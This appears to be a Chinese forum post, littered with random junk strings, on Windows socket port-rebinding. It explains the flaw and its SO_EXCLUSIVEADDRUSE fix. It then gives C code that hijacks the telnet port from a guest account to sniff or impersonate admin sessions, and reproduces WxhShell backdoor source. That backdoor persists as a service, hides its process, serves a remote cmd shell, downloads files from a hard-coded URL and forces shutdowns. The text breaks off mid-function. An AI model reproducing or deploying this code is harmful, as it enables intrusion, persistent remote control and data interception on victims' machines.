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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z)M#9oAM s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xf&[QG+Ef 254V)(t^QM saddr.sin_family = AF_INET; '>
ib
K| m ""+$ saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6 J>A U Ba[,9l[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j&X&&=
e*Wk;D& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JOuyEPy |Y
K,& 这意味着什么?意味着可以进行如下的攻击: {dZ]+2Z~+ oMN<jAU. 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ry>y igo9~. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /<) Vd 1(@$bsgu2 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -gvfz&Lz 0Fb];:a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 hdDT'+ |RL#BKC` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A1/@KC"&{G Dizz ?O 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OK]Q Db <7]HM5h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }`gOfj)?i MS\vrq'_ #include aqEZhMy #include >[Vc$[62 #include p=:Vpg<! #include }gQ2\6o2g DWORD WINAPI ClientThread(LPVOID lpParam); -Fd&rq:GB( int main() *,JE[M { {V/>5pz4e WORD wVersionRequested; Bh&pZcm| DWORD ret; 3q'AgiW WSADATA wsaData; kL1<H%1' BOOL val; 3'.@aMA@ SOCKADDR_IN saddr; At\(/Zy SOCKADDR_IN scaddr; T^7Cv{[ int err; R1H^CJ=v0 SOCKET s; qf(mJlU SOCKET sc; tq59w int caddsize; JVuju$k HANDLE mt; ]zlA<w8 DWORD tid; P)K$+oo wVersionRequested = MAKEWORD( 2, 2 ); Qel)%|dOn err = WSAStartup( wVersionRequested, &wsaData ); 0:v!' if ( err != 0 ) { MOD&3>NI printf("error!WSAStartup failed!\n"); R `tJ7MB return -1; BI:Cm/ > } S[K5ofV saddr.sin_family = AF_INET; w5 . ^meU 4SI~y;c) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j+h+Y|4J =#u4^%i) saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :gV~L3YW5 saddr.sin_port = htons(23); \!\:p/f if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J|BElBY { 7z$Z=cs printf("error!socket failed!\n"); A5Hx$.Z return -1; -{0Pq.v } {<ShUN val = TRUE; ? uYO]!VC //SO_REUSEADDR选项就是可以实现端口重绑定的 DDr\Kv)k( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U"7o;q { |3FI\F;^q printf("error!setsockopt failed!\n"); LWM<[8wJ4 return -1; .h W># } ]pvHsiI: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qO"QSSbZqQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ve(<s
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f![] :L z[f]mU if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?V2P]| { E,m|E]WP ret=GetLastError(); Tm`@5 printf("error!bind failed!\n"); \s#~ %l return -1; o:#jvi84F } =Q9^|& 6 listen(s,2); 0HWSdf|w while(1) GUu8 N { QKP
#wR
caddsize = sizeof(scaddr); 'b.jKkW7 //接受连接请求 f$>_>E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qA '^b~ if(sc!=INVALID_SOCKET) %O9 Wm_% { K.yc[z)un mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2-'_Nwkl* if(mt==NULL) -dovk?'Gj
{ O.FTToh< printf("Thread Creat Failed!\n"); +(DzE
H | break; l0G{{R0Y } p|gVIsg[-e } e r_6PV CloseHandle(mt); |vd|;" ` } sFZdj0tQ4 closesocket(s);
#om Gj& WSACleanup(); Dl.<(/ return 0; uB+#<F/c } 2(!W
9#] DWORD WINAPI ClientThread(LPVOID lpParam) f=91
Z_M { eY`z\I SOCKET ss = (SOCKET)lpParam; #^RIp>NN9 SOCKET sc; U`)
";WN unsigned char buf[4096]; qf K
gNZ SOCKADDR_IN saddr;
zr ez* long num; +ase>'<N# DWORD val; z@UH[>^gj DWORD ret; |m\7/&@< //如果是隐藏端口应用的话,可以在此处加一些判断 #.u&2eyqQ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 )r"R saddr.sin_family = AF_INET; F$i50s saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @8\0@[] saddr.sin_port = htons(23); gGNo!'o if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LntRLB' {
d3a!s printf("error!socket failed!\n"); R1hmJ return -1; \=RV?mI3? } e lM<S3 val = 100; !}|'1HIC if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @RB^m(> 5 { wy|b Hkr_ ret = GetLastError(); z*VK{O)o return -1; IRLAsb3 } -AL^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VSO(DCr"L { maSVq G ret = GetLastError(); , MqoX-+ return -1; <bJ|WS| } @}^VA9ULK if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
9Pvv6WyKy { Jl\U~i printf("error!socket connect failed!\n"); NHU5JSlB closesocket(sc); Q-iBK*-w closesocket(ss); h+_:zWU return -1; uCt?(E> } g9Dynm5 while(1) HXh:83 { Yx66Xy //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \0i0#Dt9 //如果是嗅探内容的话,可以再此处进行内容分析和记录
^0{t //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *k&V;?x|wt num = recv(ss,buf,4096,0); _^?_Vb if(num>0) |BtFT send(sc,buf,num,0); mxH63$R else if(num==0) f\hQ>MLzt break; a_VWgPVdDS num = recv(sc,buf,4096,0); lwG)&qyVd if(num>0) Fv(FRZ) send(ss,buf,num,0); $BLd>gTzmv else if(num==0) 1#|lt\T break; u!HbS*jqq } 4F -<j! closesocket(ss); 4j,6t|T closesocket(sc); KAVkYL0 return 0 ; %b h:c5 } [\ 0>@j}Z 4"nYxL"<4 ',D%,N}J ========================================================== J`; 9Z #l* w=D? 下边附上一个代码,,WXhSHELL D#,A_GA{A 0XC3O 8q ========================================================== re4z>O* (B*,|D[J@i #include "stdafx.h" zII^Ny8D 7uu\R=$ #include <stdio.h> Ai:,cY5% #include <string.h> A&ceuu #include <windows.h> PgP\v -. #include <winsock2.h> EZp >Cf7 #include <winsvc.h> @d0~'_vtB #include <urlmon.h> AYsHA w 4B[uF/[ #pragma comment (lib, "Ws2_32.lib") 6Xn9$C) #pragma comment (lib, "urlmon.lib") |~v2~
UsCaO<A #define MAX_USER 100 // 最大客户端连接数 [_KOU2 #define BUF_SOCK 200 // sock buffer pOB<Bx5t #define KEY_BUFF 255 // 输入 buffer R9K~b^` p9MJa[}V #define REBOOT 0 // 重启 LOwd mj #define SHUTDOWN 1 // 关机 ^FTS'/Q ts,V+cEA #define DEF_PORT 5000 // 监听端口 #g2&x sU fCX8s(|F #define REG_LEN 16 // 注册表键长度 ~?iQnQYI #define SVC_LEN 80 // NT服务名长度 @L 6)RF yI-EF)A@; // 从dll定义API On[yL$? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wT,=C' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d<m.5ECC} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); * vqUOh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q}z`Z/`/ .E7"Lfs- // wxhshell配置信息 :+?rnb)N struct WSCFG { n7/&NiHxv/ int ws_port; // 监听端口 ?O]RQXsZ2 char ws_passstr[REG_LEN]; // 口令 D'% O<.m int ws_autoins; // 安装标记, 1=yes 0=no (bB"6
#TI char ws_regname[REG_LEN]; // 注册表键名 : Hu{MN\ char ws_svcname[REG_LEN]; // 服务名 *.T?#H char ws_svcdisp[SVC_LEN]; // 服务显示名 R`Hy0;X char ws_svcdesc[SVC_LEN]; // 服务描述信息 >4+KEK char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &xt
GabNk int ws_downexe; // 下载执行标记, 1=yes 0=no >V\^oh)t]t char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" i
If?K%M7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tCwB7c- Cm"S=gV }; V&Rwj_Y l<7SB5 // default Wxhshell configuration ~Jj~W+h struct WSCFG wscfg={DEF_PORT, bg)}-]u] "xuhuanlingzhe", y(^\]-fE 1, 5/CF_v "Wxhshell", LPca+o|f "Wxhshell", m4'jTC$ "WxhShell Service", vF[ 4kDHk "Wrsky Windows CmdShell Service", <jM
{ <8- "Please Input Your Password: ", 3 4&xh1=3 1, Ea-U+7JC " http://www.wrsky.com/wxhshell.exe", XBO(
*6"E "Wxhshell.exe" C46jVl }; ,]Xn9W lJT"aXt'M // 消息定义模块 | :id/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IcGX~zWr char *msg_ws_prompt="\n\r? for help\n\r#>"; !aL=R)G&e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; wTG(U3{3K char *msg_ws_ext="\n\rExit."; %hdjQIH char *msg_ws_end="\n\rQuit."; :)&vf<JL char *msg_ws_boot="\n\rReboot..."; hr hj4 char *msg_ws_poff="\n\rShutdown..."; ~03MH' char *msg_ws_down="\n\rSave to "; M* {5> !\ wkV'']= Xg char *msg_ws_err="\n\rErr!"; t`>Z#=cl\ char *msg_ws_ok="\n\rOK!"; @~UQU)-( !+QfQghAT char ExeFile[MAX_PATH]; 9jM7z/Ff int nUser = 0; fc[_~I' HANDLE handles[MAX_USER]; )OVa7[-T int OsIsNt; MX.?tN#F|H }d;6.~Gw SERVICE_STATUS serviceStatus; ;y50t$0
SERVICE_STATUS_HANDLE hServiceStatusHandle; ^Xu4N"@ !]RSG^%s{ // 函数声明 f*9O39&| int Install(void); S kB*w'k int Uninstall(void); mVh;=>8K int DownloadFile(char *sURL, SOCKET wsh); bX`Gv+ int Boot(int flag); Uqy/~n-v< void HideProc(void); XD't)B(q int GetOsVer(void); %H,s~IU int Wxhshell(SOCKET wsl); p(8 @ void TalkWithClient(void *cs); ek0!~v<I int CmdShell(SOCKET sock); a ~W int StartFromService(void); lBAu@M
int StartWxhshell(LPSTR lpCmdLine); a(ITv roM/ RVLVY:h|F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n${k^e-= VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7mMMVz2 cDE5/! // 数据结构和表定义 qMA-# SERVICE_TABLE_ENTRY DispatchTable[] = cC+2%q B { g.vE%zKL {wscfg.ws_svcname, NTServiceMain}, oD1k7Gq1 {NULL, NULL} b78~{ht` }; U V*Ruy- -B&(&R // 自我安装 )|^8`f int Install(void) rjO{B`sV* { '[%#70* char svExeFile[MAX_PATH]; fb>$p_s] HKEY key; L/`1K_\l strcpy(svExeFile,ExeFile); N' R^gL hh&$xlO)(v // 如果是win9x系统,修改注册表设为自启动 n-yUt72 if(!OsIsNt) { ^2+Vt=* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Fb=uN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PPIO<K 3` RegCloseKey(key); !4'F z[RK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ' BS.:^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EG\;l9T RegCloseKey(key); Qz#By V: return 0; kP ,8[r } ?_Z-}f } FiUwy/,ZV } ||awNSt else { C&MqH.K J:Qx5;b; // 如果是NT以上系统,安装为系统服务 tHZ"o!(S SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C49\'1\6 if (schSCManager!=0) k_7b0dr%F { ?X@[ibH6 SC_HANDLE schService = CreateService XGH:'^o_ ( h\w;SDwOk schSCManager, )&d=2M;3 wscfg.ws_svcname, 6&ut r!\7 wscfg.ws_svcdisp, cK u[4D{ SERVICE_ALL_ACCESS, ng!cK<p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MyllL@kP SERVICE_AUTO_START, ;M4[Liw~O SERVICE_ERROR_NORMAL, A#T"4'#?< svExeFile, n+ebi>}P NULL, &um++
\ NULL, >Wt@O\k NULL, zdRVAcrwQ NULL, sIgTSdk NULL xL"J?Gy ); O& Sk}^ if (schService!=0) phjM(lmCo { otR7E+*3 CloseServiceHandle(schService); 'kt6%d2 CloseServiceHandle(schSCManager); ?%hd3zc+f strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nsU7cLf"^V strcat(svExeFile,wscfg.ws_svcname); WX?nq'nr if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RdWn =; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t8EI"| RegCloseKey(key); yj4"eDg] return 0; {\`ttc> } h$!YKfhq} } Q:megU'u CloseServiceHandle(schSCManager); Q!@M/@-Ky } B]G2P`sN } HJ7A/XW fGlvum return 1; \#:
W } pxTtV g. Cy$~H // 自我卸载 a~0 ~Y y int Uninstall(void) $`3yImv+w { uD=Kar HKEY key; V4V`0I ~iH a^i?2* if(!OsIsNt) { L?N&kzA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )y*&&q
RegDeleteValue(key,wscfg.ws_regname); ~Yk^(hl2 RegCloseKey(key); u'l4=e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XYWyxx5` RegDeleteValue(key,wscfg.ws_regname); >2{Y5__+e RegCloseKey(key); gPk,nB return 0; J\*uW|=F } PzSLE>Q } Q/]~`S } lu"0\}7X else { #wIWh^^ Zy !VWA4 e!+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,M3hE/rb/ if (schSCManager!=0) 2.%)OC!q&5 { Lf5zHUH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SzMh if (schService!=0) 9
fB|e| { yk?bz if(DeleteService(schService)!=0) { /io06)-/n CloseServiceHandle(schService); GbQi3% CloseServiceHandle(schSCManager); H^n@9U;[K return 0; 0o>C,
` }
g}<jn'@{ CloseServiceHandle(schService); <WIIurp } #E!^oZm<Z CloseServiceHandle(schSCManager); .|[{$&B } 3Y38lP:>h } -z`%x@F<&L 6o#/[Tz return 1; h<%$?h+} } >(a35 b$ #b;?:.m\= // 从指定url下载文件 3!p`5hJd int DownloadFile(char *sURL, SOCKET wsh) n%F _3` { oIick HRESULT hr; $XQgat@&] char seps[]= "/"; *`+zf7-f char *token; Bz } nP9 char *file; FM6{%}4 char myURL[MAX_PATH]; jyIIE7.I" char myFILE[MAX_PATH]; :
b`N(] !rRBy3& strcpy(myURL,sURL); 6m?<"y8] token=strtok(myURL,seps); v>`Fo[c while(token!=NULL) ]F+|C { j<kW+Iio file=token; s_y8+BJaV token=strtok(NULL,seps); a4ViVy } UPGUJ>2Z (/I6Wa GetCurrentDirectory(MAX_PATH,myFILE); H};1>G4 strcat(myFILE, "\\"); Fqw4XR_`~ strcat(myFILE, file); &YY`XEG59O send(wsh,myFILE,strlen(myFILE),0); 4:rwzRDY send(wsh,"...",3,0); i+O7," (@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4q] 6[/ if(hr==S_OK) -6DRX return 0; ^(:~8 h else *90dkJZ. return 1; $(D>v!dp q~> +x?30 } m:)&:Y0 (a oVK:A;3T| // 系统电源模块 m,\+RUW' int Boot(int flag) a^l)vh{+ { NC~?4F[ HANDLE hToken; 4o}{3! m TOKEN_PRIVILEGES tkp; 9
3)fC Dc0=gq0 if(OsIsNt) { &fB=&jc*j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `\VtTS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >niv>+!N tkp.PrivilegeCount = 1; BO*)cLQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; < +* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V$hL\`e if(flag==REBOOT) { "mBM<rEn* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jz"
>Kh.} return 0; |1_$\k9Y& } t,De/ L else { K*5gb^Ul if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c"tlNf? return 0; w =F9> } z` 6$p1U } !$l<'K$ else { 8WV5'cX if(flag==REBOOT) { 05H:ZrUV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pv0|6X?J" return 0; >g !Z|ju } 3?j:M]fR else { J#C4A]A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #+D][LH4 return 0; Y$v d@Q } 7HW:;2dL } T&[6 l/(~Kf9eQG return 1; ;!f~ } 4RDY_HgF6 S}rEQGGR{ // win9x进程隐藏模块 g5+m]3#t void HideProc(void) F1BvDplQ>G { %' WC7s VfzyBjQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;R0LJApey if ( hKernel != NULL ) 4J[zNB] { =_=%1rI~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); awR !=\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M{orw;1Isy FreeLibrary(hKernel); 8!35
K } JZ`u?ZaJ/s c[2ikI,n[ return; 9j^rFG!n } k(Xs&f
` zf)*W#+ // 获取操作系统版本 bK }ZR*) int GetOsVer(void) nW]CA~ { ~6t<`&f OSVERSIONINFO winfo; Qa/1*Mb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KsIHJr7- GetVersionEx(&winfo); 8Ckd.HKpQ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]0<K^OIY return 1; xKBi".wA else ^7>~y( return 0; bx2<WdLyT } f%n ;Z}= 6H2Bf*i // 客户端句柄模块 *MfH\X379 int Wxhshell(SOCKET wsl) au19Q*r9 { Xk!{UxQKQ SOCKET wsh; #\N8E-d struct sockaddr_in client; whe%o DWORD myID; bHm/Z Zx !oi
{8X@ while(nUser<MAX_USER) wKdWE`|y { z2Wblh"_ int nSize=sizeof(client); =?4[:#Rh wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eQyc< if(wsh==INVALID_SOCKET) return 1; +MHIZI AXxyB"7A} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a5m[
N'kah if(handles[nUser]==0) 2A|mXWG}~ closesocket(wsh); l#]#_ else =3% GLj nUser++; cV1E<CM } 5`&@3
m9/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q;l%@)m+~ s^6,"C return 0; lxZ9y } 2h<_?GM\s qp*~| // 关闭 socket 9MJ:]F5+ void CloseIt(SOCKET wsh) ^^
SMr l { 6)=;cc{Vr closesocket(wsh); /g%RIzgW nUser--; LZG(T$dI ExitThread(0); n(LO`{ } 'S74Ys=-0 !"/"Mqs3$ // 客户端请求句柄 [giw(4m#y void TalkWithClient(void *cs) &xUCXj2-z { 6^jrv [d ldU ><xc2 SOCKET wsh=(SOCKET)cs; uk WL3 char pwd[SVC_LEN]; p]~PyzG! char cmd[KEY_BUFF]; iu{;|E char chr[1]; sAA;d int i,j; bhg6p$411 I5[@C<b while (nUser < MAX_USER) { o[JZ>nm ettBque if(wscfg.ws_passstr) { yXtQfR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dKXzFyW //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A? jaS9 &) //ZeroMemory(pwd,KEY_BUFF); ./DlHS; i=0; Zs0;92WL while(i<SVC_LEN) { ??#EG{{ dci,[TEGu // 设置超时 mo4F\$2N fd_set FdRead; cw0@Z0 struct timeval TimeOut; 41.xi9V2 FD_ZERO(&FdRead); pFu!$.Fr FD_SET(wsh,&FdRead); Mw+
l>92 TimeOut.tv_sec=8; i8cmT+}> TimeOut.tv_usec=0; M
$EHx[*5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i-WP#\s if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k $ SMQ6 }a UQ#x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8WQc8 pwd =chr[0]; })PU`?f if(chr[0]==0xd || chr[0]==0xa) { (bNoe(<qU pwd=0; u]9 #d^%V break; U? U3?Y-k` } !w!k0z] i++; S;#7B?j } By*YBZ ?%Q=l;W. // 如果是非法用户,关闭 socket siV]NI':| if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <O-R }
"ZNy*.G|[ #'i,'h+F send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %\'G2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K1;b4Sl?A ZRr.kN+F while(1) { 8{&.[SC7 bVZAf ZeroMemory(cmd,KEY_BUFF); ]}&HvrOld J-klpr# // 自动支持客户端 telnet标准 )T
slI j=0; r#}o
+3* while(j<KEY_BUFF) { 9RK.+2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &I{5f-o* cmd[j]=chr[0]; $.ctlWS8l{ if(chr[0]==0xa || chr[0]==0xd) { ~xJr|_,gp cmd[j]=0; VhnIr#L+ break; Z%
`$id } RO[X#c j++; 4z OFu/l6R } ?l|&JgJ$ 4 4WyfpTJ* // 下载文件 \^'-=8<*> if(strstr(cmd,"http://")) { \4fuC6d2 send(wsh,msg_ws_down,strlen(msg_ws_down),0); %?/vC6 if(DownloadFile(cmd,wsh)) M,r8 No send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^%U`|GBZp else Y$ KR\ m send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :pvVm> } zf\$T,t) else { &!+1GI9z
3r?T|>| switch(cmd[0]) { 6OtNWbB O^3XhTW^\~ // 帮助 QZL,zI]LL case '?': { :o:/RR p[ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4jVd break; m&MZn2u[4i } @cG+D // 安装 aCfWbJ@qiG case 'i': { 4dI` if(Install()) +5:9?&lH send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4~d:@Gmk& else #=F{G4d)!= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !|J2o8g break; BG1hk! } btDTC9O // 卸载 3)(uC+?[ case 'r': { [E9_ZdBT if(Uninstall()) !H9zd\wc send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1_@vxi~aW_ else M'NOM>8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T I yHM1+ break; >5t]Zlb` } ogdgLTi // 显示 wxhshell 所在路径 K8v@) case 'p': { pA\"Xe& char svExeFile[MAX_PATH]; g(o^'f strcpy(svExeFile,"\n\r"); uPb. uG strcat(svExeFile,ExeFile); v\=k[oOu
send(wsh,svExeFile,strlen(svExeFile),0); 8;3I:z&muQ break;
1<0Z@D~F } B\~(:(OPM] // 重启 WvcPOt8Bp> case 'b': { y@ c[S; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *M6j)jqV if(Boot(REBOOT)) }%3i8e send(wsh,msg_ws_err,strlen(msg_ws_err),0); a0`(*#P else { 8`|Z9umW* closesocket(wsh); Ol8Yf.e_ ExitThread(0); iu`B8yI } ;a(7% break; =vb 'T } VexQ ] // 关机 bZgFea_>i case 'd': { FMl_I26] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O7f"8|=HX if(Boot(SHUTDOWN)) j__l'?s send(wsh,msg_ws_err,strlen(msg_ws_err),0); K6nNrd}p: else { }x"8v&3CM_ closesocket(wsh); 4B-+DH>{6 ExitThread(0); 8y]{I^z} } R`%O=S*] break; !*,m=*[3 } 2bOFH6g // 获取shell W"D>>]$|u case 's': { p'=XW#2 > CmdShell(wsh); oK2j PP closesocket(wsh); %)y-BdSp. ExitThread(0); 2&2t8.< break; #D%l;Ae } 6I\4Yv$N // 退出 3Io7!:+ case 'x': { LP}'upv send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,'@t.XP CloseIt(wsh); 2nI^fVR%\ break; -8sB\E } Jwbb>mB! // 离开 -'j|U[&N\ case 'q': { [:l=>yJ{( send(wsh,msg_ws_end,strlen(msg_ws_end),0); W;.LN<bx closesocket(wsh); ]KQBek#DD WSACleanup(); y+M9{[ i/O exit(1); eMU t%zvb break; P5Pb2|\* } gnw?Y 2 } _[y<u}) } E7@m& R DxG8`}+ // 提示信息 8/W2;>?wKc if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #6 M3BF } ,UW!?}@ } P"Y7N?\]( LbnW(wr6:( return; 5:SS2>~g } BB? 4>#D ~lr,}K, // shell模块句柄 4u7^v1/ int CmdShell(SOCKET sock) +?GsIp@>jh { Z (C0+A\ STARTUPINFO si; Di&XDW/ ZeroMemory(&si,sizeof(si)); +y|Q7+ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vFi+ExBU si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B[r04YGh PROCESS_INFORMATION ProcessInfo; otdm rw| char cmdline[]="cmd"; yjIA`5^ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M)sAMfuUw return 0; [(Ihu e } Ypx"<CKP} K8fC>iNbH // 自身启动模式 ;AJ6I*O@+ int StartFromService(void) lZ?YyRsa6& { |L(h+/>aWX typedef struct Up\ k67 { ,(z"s8N DWORD ExitStatus; !qug^F DWORD PebBaseAddress; gh.+}8=" DWORD AffinityMask; ?I;PJj DWORD BasePriority; qzii[Mf ULONG UniqueProcessId; FR6PY ULONG InheritedFromUniqueProcessId; 1i@a? 27| } PROCESS_BASIC_INFORMATION; 8Bx58$xRq oh,29Gg PROCNTQSIP NtQueryInformationProcess; yhd]s0(! R#HX}[Hb static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kp^q}iS static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ev1:0P tiF-lq HANDLE hProcess; ?$ M:4mX PROCESS_BASIC_INFORMATION pbi; Te7xj8<
__`6 W1 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
fxc?+<P if(NULL == hInst ) return 0; _Oy;:XN |
